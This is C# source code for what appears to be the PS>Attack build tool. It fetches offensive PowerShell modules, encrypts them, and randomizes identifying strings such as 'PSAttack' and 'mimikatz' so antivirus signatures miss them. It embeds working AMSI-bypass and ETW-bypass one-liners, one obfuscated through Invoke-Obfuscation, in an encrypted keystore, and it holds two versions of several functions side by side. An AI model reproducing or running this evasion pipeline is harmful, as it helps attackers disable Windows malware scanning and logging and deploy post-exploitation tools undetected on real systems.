static public GeneratedStrings CreateRules() { GeneratedStrings rulesStrings = new GeneratedStrings(); rulesStrings.AddValue("PSAttack"); rulesStrings.AddValue("PS>Attack"); rulesStrings.AddValue("PS Attack!!!"); rulesStrings.AddValue("PSParam"); rulesStrings.AddValue("AttackState"); rulesStrings.AddValue("PSInit"); rulesStrings.AddValue("PSExec"); rulesStrings.AddValue("displayCmd"); rulesStrings.AddValue("paramAutoComplete"); rulesStrings.AddValue("variableAutoComplete"); rulesStrings.AddValue("pathAutoComplete"); rulesStrings.AddValue("cmdAutoComplete"); rulesStrings.AddValue("seedIdentification"); rulesStrings.AddValue("dislayCmdComponents"); rulesStrings.AddValue("PSColors"); rulesStrings.AddValue("DecryptString"); rulesStrings.AddValue("DecryptFile"); rulesStrings.AddValue("CryptoUtils"); rulesStrings.AddValue("createPrompt"); rulesStrings.AddValue("ImportModules"); rulesStrings.AddValue("encryptionKey"); rulesStrings.AddValue("valueStore"); rulesStrings.AddValue("autocompleteSeed"); rulesStrings.AddValue("cmdComplete"); rulesStrings.AddValue("promptLength"); rulesStrings.AddValue("decryptedStore"); rulesStrings.AddValue("psaLogos"); return(rulesStrings); }
public ObfuscationEngine(GeneratedStrings generatedStrings) { this.RandomizeText = false; this.rand = new Random(); this.Rulesets = new List <Ruleset>(); // Mimikatz Rules Ruleset mimikatz = new Ruleset { Name = "Mimikatz", Type = "PowerShell", FileName = "invoke-mimikatz.ps1", Rules = new List <Rule>() }; mimikatz.Rules.Add(new Rule { Name = "'-mimikatz' Replace", Type = "replace", Trigger = "-mimikatz", Action = "-#RANDOM" }); mimikatz.Rules.Add(new Rule { Name = "' mimikatz' Replace", Type = "replace", Trigger = " mimikatz", Action = " #RANDOM" }); // General Rules Ruleset general = new Ruleset { Name = "General", Type = "PowerShell", FileName = "#ALL", Rules = new List <Rule>() }; general.Rules.Add(new Rule { Name = "Variable Radomization", Type = "ReplaceList", Trigger = @"(\$)[A-Za-z\d]+\b", Action = "$#RANDOM" }); // C# Rules Ruleset psaSource = new Ruleset { Name = "PSAttack", Type = "SourceCode", FileName = "#ALL", Rules = new List <Rule>() }; string psaReplace = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand); generatedStrings.Store.Add("psaReplacement", psaReplace); string attackStateReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand); generatedStrings.Store.Add("attackStateReplacement", attackStateReplacement); string psparamReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand); generatedStrings.Store.Add("psparamReplacement", psparamReplacement); psaSource.Rules.Add(new Rule { Name = "'PSAttack' Replace", Type = "replace", Trigger = "PSAttack", Action = psaReplace }); psaSource.Rules.Add(new Rule { Name = "'PS>Attack' Replace", Type = "replace", Trigger = "PS>Attack", Action = psaReplace }); psaSource.Rules.Add(new Rule { Name = "'attackState' Replace", Type = "replace", Trigger = "attackState", Action = attackStateReplacement }); psaSource.Rules.Add(new Rule { Name = "'psparam' Replace", Type = "replace", Trigger = "psparam", Action = psparamReplacement }); psaSource.Rules.Add(new Rule { Name = "'psaLogos' Replace", Type = "replace", Trigger = "psaLogos", Action = PSABTUtils.RandomString(this.rand.Next(8, 14), this.rand) }); //this.Rulesets.Add(mimikatz); //this.Rulesets.Add(general); this.Rulesets.Add(psaSource); }
static public string ProcessSource(string sourcePath, GeneratedStrings rulesStrings, GeneratedStrings keyStoreStrings, Attack attack) { // To make sure that we obfuscate and then save the file while maintaining directory structure // we do some string chopping here. TODO: Clean this up string originalFileName = Path.GetFileName(sourcePath); string readScript = File.ReadAllText(sourcePath); string obfuscatedSourcePath = sourcePath.Replace(attack.unzipped_dir, Strings.obfuscatedSourceDir); string fileStub = obfuscatedSourcePath.Replace(Strings.obfuscatedSourceDir, ""); foreach (KeyValuePair <string, string> rule in rulesStrings.Store) { fileStub = fileStub.Replace(rule.Key, rule.Value); } obfuscatedSourcePath = Path.Combine(Strings.obfuscatedSourceDir, fileStub); //obfuscatedSourcePath = obfuscatedSourcePath.Replace("AttackState", generatedStrings.Store["attackStateReplacement"]); //obfuscatedSourcePath = obfuscatedSourcePath.Replace("PSParam", generatedStrings.Store["psparamReplacement"]); // Process Rules FileInfo file = new System.IO.FileInfo(obfuscatedSourcePath); file.Directory.Create(); if (!(sourcePath.Contains(keyStoreStrings.Store["keyStoreFileName"]) || (sourcePath.Contains("Modules")))) { foreach (KeyValuePair <string, string> rule in rulesStrings.Store) { Display.PrimaryMessage($"Checking for instances of {rule.Key} in file."); readScript = RuleProcessor(rule, readScript); } File.WriteAllText(obfuscatedSourcePath, readScript); } else { File.Copy(sourcePath, obfuscatedSourcePath, true); } return(obfuscatedSourcePath); }
public string ProcessSource(Display display, string sourcePath, GeneratedStrings generatedStrings, Attack attack) { string originalFileName = Path.GetFileName(sourcePath); string readScript = File.ReadAllText(sourcePath); string obfuscatedSourcePath = sourcePath.Replace(attack.unzipped_dir, Strings.obfuscatedSourceDir); string fileStub = obfuscatedSourcePath.Replace(Strings.obfuscatedSourceDir, ""); obfuscatedSourcePath = Path.Combine(Strings.obfuscatedSourceDir, fileStub.Replace("PSAttack", generatedStrings.Store["psaReplacement"])); obfuscatedSourcePath = obfuscatedSourcePath.Replace("AttackState", generatedStrings.Store["attackStateReplacement"]); obfuscatedSourcePath = obfuscatedSourcePath.Replace("PSParam", generatedStrings.Store["psparamReplacement"]); // Process Rules foreach (Ruleset ruleset in this.Rulesets) { if (ruleset.Type == "SourceCode") { if (originalFileName.ToLower().Contains(ruleset.FileName.ToLower()) || ruleset.FileName == "#ALL") { FileInfo file = new System.IO.FileInfo(obfuscatedSourcePath); file.Directory.Create(); if (!(sourcePath.Contains(generatedStrings.Store["keyStoreFileName"]) || (sourcePath.Contains("Modules")))) { foreach (Rule rule in ruleset.Rules) { display.updateMessage("Running Replace Rule '" + rule.Name + "'"); readScript = RuleProcessor(display, rule, readScript); } File.WriteAllText(obfuscatedSourcePath, readScript); } else { File.Copy(sourcePath, obfuscatedSourcePath, true); } } } } return(obfuscatedSourcePath); }
static void Main(string[] args) { // PRINT START MESSAGE Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(Strings.psaStartMsg); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaWarningMsg); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("\n Press any key to start the build process.."); Console.ReadLine(); Console.Clear(); //PRINT LOGO //Console.ForegroundColor = ConsoleColor.DarkYellow; //Random random = new Random(); //int psaLogoInt = random.Next(Strings.psabtLogos.Count); //Console.WriteLine(Strings.psabtLogos[psaLogoInt]); //Console.WriteLine("Version {0}\n", Strings.version); //Console.ForegroundColor = ConsoleColor.White; Display display = new Display(); GeneratedStrings generatedStrings = new GeneratedStrings(); Random random = new Random(); // DELETE BUILD DIR display.updateStage("Initializing.."); display.updateStatus("Clearing Build Dir: " + PSABTUtils.GetPSAttackBuildToolDir()); Directory.Delete(PSABTUtils.GetPSAttackBuildToolDir(), true); //READ JSON FILE display.updateStage("Initializing.."); display.updateStatus("Loading modules.json"); StreamReader sr = new StreamReader("modules.json"); string modulesJson = sr.ReadToEnd(); MemoryStream memReader = new MemoryStream(Encoding.UTF8.GetBytes(modulesJson)); List <Module> modules = PSABTUtils.GetModuleList(memReader); string workingDir = PSABTUtils.GetPSAttackBuildToolDir(); //GET PS>ATTACK display.updateStage("Getting PS>Attack"); display.updateStatus("Searching Github"); Attack attack = PSABTUtils.GetPSAttack(new Uri(Strings.attackURL)); display.updateStatus("Found Version: " + attack.tag_name); display.updateMessage("Downloading " + attack.zipball_url); attack.DownloadZip(); display.updateMessage("Unzipping to: " + Strings.attackUnzipDir); attack.unzipped_dir = PSABTUtils.UnzipFile(Strings.attackZipPath); // PROCESS PS>ATTACK display.updateStage("Preparing PS>Attack Build"); // CLEAR OUT BUNDLED MODULES display.updateStatus("Clearing modules at: " + attack.modules_dir); display.updateMessage(""); attack.ClearModules(); // CREATE DIRECTORY STRUCTURE if (!(Directory.Exists(Strings.moduleSrcDir))) { display.updateStatus("Creating Modules Source Directory: " + Strings.moduleSrcDir); Directory.CreateDirectory(Strings.moduleSrcDir); } if (!(Directory.Exists(Strings.obfuscatedScriptsDir))) { display.updateStatus("Creating Obfuscated Modules Directory: " + Strings.obfuscatedScriptsDir); Directory.CreateDirectory(Strings.obfuscatedScriptsDir); } if (!(Directory.Exists(Strings.obfuscatedSourceDir))) { display.updateStatus("Creating Obfuscated Source Directory: " + Strings.obfuscatedSourceDir); Directory.CreateDirectory(Strings.obfuscatedSourceDir); } // CLEAR OUT OBFUSCATED SCRIPTS DIR DirectoryInfo dirInfo = new DirectoryInfo(Strings.obfuscatedScriptsDir); foreach (FileInfo file in dirInfo.GetFiles()) { display.updateStatus("Clearing Obfuscated Modules Directory"); display.updateMessage("Deleting: " + file.Name); file.Delete(); } // MAKE NEW MODULES display.updateStage("Processing Modules"); display.updateStatus(""); display.updateMessage(""); foreach (Module module in modules) { string dest = Path.Combine(Strings.moduleSrcDir, (module.name + ".ps1")); string encOutfile = attack.modules_dir + CryptoUtils.EncryptString(attack, module.name, generatedStrings); try { display.updateStatus("Processing " + module.name); display.updateMessage("Downloading from " + module.url); PSABTUtils.DownloadFile(module.url, dest); display.updateMessage("Encrypting " + module.name); CryptoUtils.EncryptFile(attack, dest, encOutfile, generatedStrings); } catch (Exception e) { ConsoleColor origColor = Console.ForegroundColor; Console.ForegroundColor = ConsoleColor.Red; display.updateStatus("ERROR!!"); display.updateMessage("There was an error processing " + module.name + " This will probably break the build."); display.updateSecondaryMessage("Error message: " + e.Message + "\n\n Press enter to continue building PS>Attack.."); Console.ReadLine(); Console.ForegroundColor = origColor; } } // PLACE MATTS AMSI BYPASS IN KEYSTORE generatedStrings.Store.Add("amsiBypass", "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"); generatedStrings.Store.Add("setExecutionPolicy", "Set-ExecutionPolicy Bypass -Scope Process -Force"); generatedStrings.Store.Add("buildDate", DateTime.Now.ToString()); // WRITE KEYS TO CSV DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(Dictionary <string, string>)); string keyStoreFileName = PSABTUtils.RandomString(64, new Random()); generatedStrings.Store.Add("keyStoreFileName", keyStoreFileName); using (StreamWriter keystoreCSV = new StreamWriter(Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"))) { foreach (KeyValuePair <string, string> entry in generatedStrings.Store) { keystoreCSV.WriteLine("{0}|{1}", entry.Key, entry.Value); } } // Encrypt keystore CryptoUtils.EncryptFile(attack, Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"), Path.Combine(attack.resources_dir, keyStoreFileName), generatedStrings); // GENERATE CSPROJ FILE display.updateStage("Building PS>Attack"); display.updateStatus("Generating PSAttack.csproj at " + attack.csproj_file); display.updateMessage(""); PSABTUtils.BuildCsproj(modules, attack, generatedStrings); // GENERATE SETTINGS FILE display.updateStage("Building PS>Attack"); display.updateStatus("Generating Config File at " + attack.config_file); display.updateMessage(""); PSABTUtils.BuildConfigFile(attack, generatedStrings); // GENERATE SETTINGS DESIGNER FILE //display.updateStage("Building PS>Attack"); //display.updateStatus("Generating Settings Designer File at " + attack.config_file); //display.updateMessage(""); //PSABTUtils.BuildSettingsDesignerFile(attack, generatedStrings); // OBFUSCATE ObfuscationEngine.ObfuscationEngine engine = new ObfuscationEngine.ObfuscationEngine(generatedStrings); string[] files = Directory.GetFiles(Strings.attackUnzipDir, "*.*", SearchOption.AllDirectories); foreach (string file in files) { engine.ProcessSource(display, file, generatedStrings, attack); } // BUILD PS>ATTACK Timer timer = new Timer(1200); display.updateStatus("Kicking off build"); display.updateMessage("3.."); display.updateMessage("3.. 2.."); display.updateMessage("3.. 2.. 1..\n\n\n"); Console.ForegroundColor = ConsoleColor.Gray; int exitCode = PSABTUtils.BuildPSAttack(attack, generatedStrings); if (exitCode == 0) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(Strings.psaEndSuccess, Strings.attackBuildDir); Console.ReadLine(); Process.Start(Strings.attackBuildDir); } else if (exitCode == 999) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndNoMSBuild, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory()); Console.ReadLine(); Environment.Exit(exitCode); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndFailure); Console.ReadLine(); Environment.Exit(exitCode); } }
static void Main(string[] args) { // PRINT START MESSAGE Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(Strings.psaStartMsg); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaWarningMsg); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("\n Press any enter key to start the build process.."); Console.ReadLine(); Console.Clear(); // DISPLAY DASHBOARD Display.Dashboard(); GeneratedStrings keyStoreStrings = new GeneratedStrings(); Random random = new Random(); // DELETE BUILD DIR Display.Stage("Initializing.."); Display.Status("Clearing Build Dir: " + PSABTUtils.GetPSAttackBuildToolDir()); Directory.Delete(PSABTUtils.GetPSAttackBuildToolDir(), true); //READ JSON FILE Display.Stage("Initializing.."); Display.Status("Loading modules.json"); StreamReader sr = new StreamReader("modules.json"); string modulesJson = sr.ReadToEnd(); MemoryStream memReader = new MemoryStream(Encoding.UTF8.GetBytes(modulesJson)); List <Module> modules = PSABTUtils.GetModuleList(memReader); string workingDir = PSABTUtils.GetPSAttackBuildToolDir(); //GET PS>ATTACK Display.Stage("Getting PS>Attack"); Display.Status("Searching Github"); Attack attack = PSABTUtils.GetPSAttack(); Display.Status("Found Version: " + attack.tag_name); Display.PrimaryMessage("Downloading " + attack.zipball_url); attack.DownloadZip(); Display.PrimaryMessage("Unzipping to: " + Strings.attackUnzipDir); attack.unzipped_dir = PSABTUtils.UnzipFile(Strings.attackZipPath, Strings.attackUnzipDir); // PROCESS PS>ATTACK Display.Stage("Preparing PS>Attack Build"); // CLEAR OUT BUNDLED MODULES Display.Status("Clearing modules at: " + attack.modules_dir); Display.PrimaryMessage(""); attack.ClearModules(); // CREATE DIRECTORY STRUCTURE if (!(Directory.Exists(Strings.moduleSrcDir))) { Display.Status("Creating Modules Source Directory: " + Strings.moduleSrcDir); Directory.CreateDirectory(Strings.moduleSrcDir); } if (!(Directory.Exists(Strings.obfuscatedScriptsDir))) { Display.Status("Creating Obfuscated Modules Directory: " + Strings.obfuscatedScriptsDir); Directory.CreateDirectory(Strings.obfuscatedScriptsDir); } if (!(Directory.Exists(Strings.obfuscatedSourceDir))) { Display.Status("Creating Obfuscated Source Directory: " + Strings.obfuscatedSourceDir); Directory.CreateDirectory(Strings.obfuscatedSourceDir); } if (!(Directory.Exists(Strings.invokeObfuscationDir))) { Display.Status("Creating Obfuscated Source Directory: " + Strings.invokeObfuscationDir); Directory.CreateDirectory(Strings.invokeObfuscationDir); } // CLEAR OUT OBFUSCATED SCRIPTS DIR DirectoryInfo dirInfo = new DirectoryInfo(Strings.obfuscatedScriptsDir); foreach (FileInfo file in dirInfo.GetFiles()) { Display.Status("Clearing Obfuscated Modules Directory"); Display.PrimaryMessage("Deleting: " + file.Name); file.Delete(); } // DOWNLOAD @DANIELBOHANNON's INVOKE-OBFUSCATION if (ConfigurationManager.AppSettings["obfuscatePowerShell"] == "true") { ObfuscationEngine.Posh.DownloadInvokeObfuscation(); } // MAKE NEW MODULES Display.Stage("Processing Modules"); Display.Status(""); Display.PrimaryMessage(""); foreach (Module module in modules) { string dest = Path.Combine(Strings.moduleSrcDir, (module.name + ".ps1")); string encOutfile = attack.modules_dir + CryptoUtils.EncryptString(attack, module.name, keyStoreStrings); try { Display.Status($"Processing {module.name}"); Display.PrimaryMessage($"Downloading from {module.url}"); PSABTUtils.DownloadFile(module.url, dest); if (ConfigurationManager.AppSettings["obfuscatePowerShell"] == "true") { Display.PrimaryMessage($"Obfuscating {module.name} (This might take a minute or three, literally)"); dest = ObfuscationEngine.Posh.InvokeObfuscation(dest, true); } Display.PrimaryMessage($"Encrypting {module.name}"); if (Path.GetFileName(dest) != "ERROR") { CryptoUtils.EncryptFile(attack, dest, encOutfile, keyStoreStrings); } } catch (Exception e) { Display.ErrorMessage($"There was an error processing {module.name}.", e.Message); } } // PLACE MATTS AMSI BYPASS IN KEYSTORE if (ConfigurationManager.AppSettings["obfuscatePowerShell"] == "true") { keyStoreStrings.Store.Add("amsiBypass", ObfuscationEngine.Posh.InvokeObfuscation("{[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}")); } else { keyStoreStrings.Store.Add("amsiBypass", "[psobject].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"); } // PLACE ETW BYPASS IN KEYSTORE (Source: https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32) keyStoreStrings.Store.Add("etwBypass", ObfuscationEngine.Posh.InvokeObfuscation("{[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)}")); keyStoreStrings.Store.Add("setExecutionPolicy", "{Set -ExecutionPolicy Bypass -Scope Process -Force}"); keyStoreStrings.Store.Add("buildDate", DateTime.Now.ToString()); // WRITE KEYS TO CSV DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(Dictionary <string, string>)); keyStoreStrings.AddValue("keyStoreFileName"); using (StreamWriter keystoreCSV = new StreamWriter(Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"))) { foreach (KeyValuePair <string, string> entry in keyStoreStrings.Store) { keystoreCSV.WriteLine("{0}|{1}", entry.Key, entry.Value); } } // Encrypt keystore CryptoUtils.EncryptFile(attack, Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"), Path.Combine(attack.resources_dir, keyStoreStrings.Store["keyStoreFileName"]), keyStoreStrings); // GENERATE CSPROJ FILE Display.Stage("Building PS>Attack"); Display.Status("Generating PSAttack.csproj at " + attack.csproj_file); Display.PrimaryMessage(""); PSABTUtils.BuildCsproj(modules, attack, keyStoreStrings); // GENERATE SETTINGS FILE Display.Stage("Building PS>Attack"); Display.Status("Generating Config File at " + attack.config_file); Display.PrimaryMessage(""); PSABTUtils.BuildConfigFile(attack, keyStoreStrings); // OBFUSCATE string[] files = Directory.GetFiles(Strings.attackUnzipDir, "*.*", SearchOption.AllDirectories); GeneratedStrings rulesStrings = ObfuscationEngine.CSharp.CreateRules(); foreach (string file in files) { ObfuscationEngine.CSharp.ProcessSource(file, rulesStrings, keyStoreStrings, attack); } // BUILD PS>ATTACK Timer timer = new Timer(1200); Display.Status("Kicking off build"); Display.PrimaryMessage("3.."); Display.PrimaryMessage("3.. 2.."); Display.PrimaryMessage("3.. 2.. 1..\n\n\n"); Console.ForegroundColor = ConsoleColor.Gray; int exitCode = PSABTUtils.BuildPSAttack(attack, rulesStrings); if (exitCode == 0) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(Strings.psaEndSuccess, Strings.attackBuildDir); Console.ReadLine(); Process.Start(Strings.attackBuildDir); } else if (exitCode == 999) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndNoMSBuild, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory()); Console.ReadLine(); Environment.Exit(exitCode); } else { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Strings.psaEndFailure); Console.ReadLine(); Environment.Exit(exitCode); } }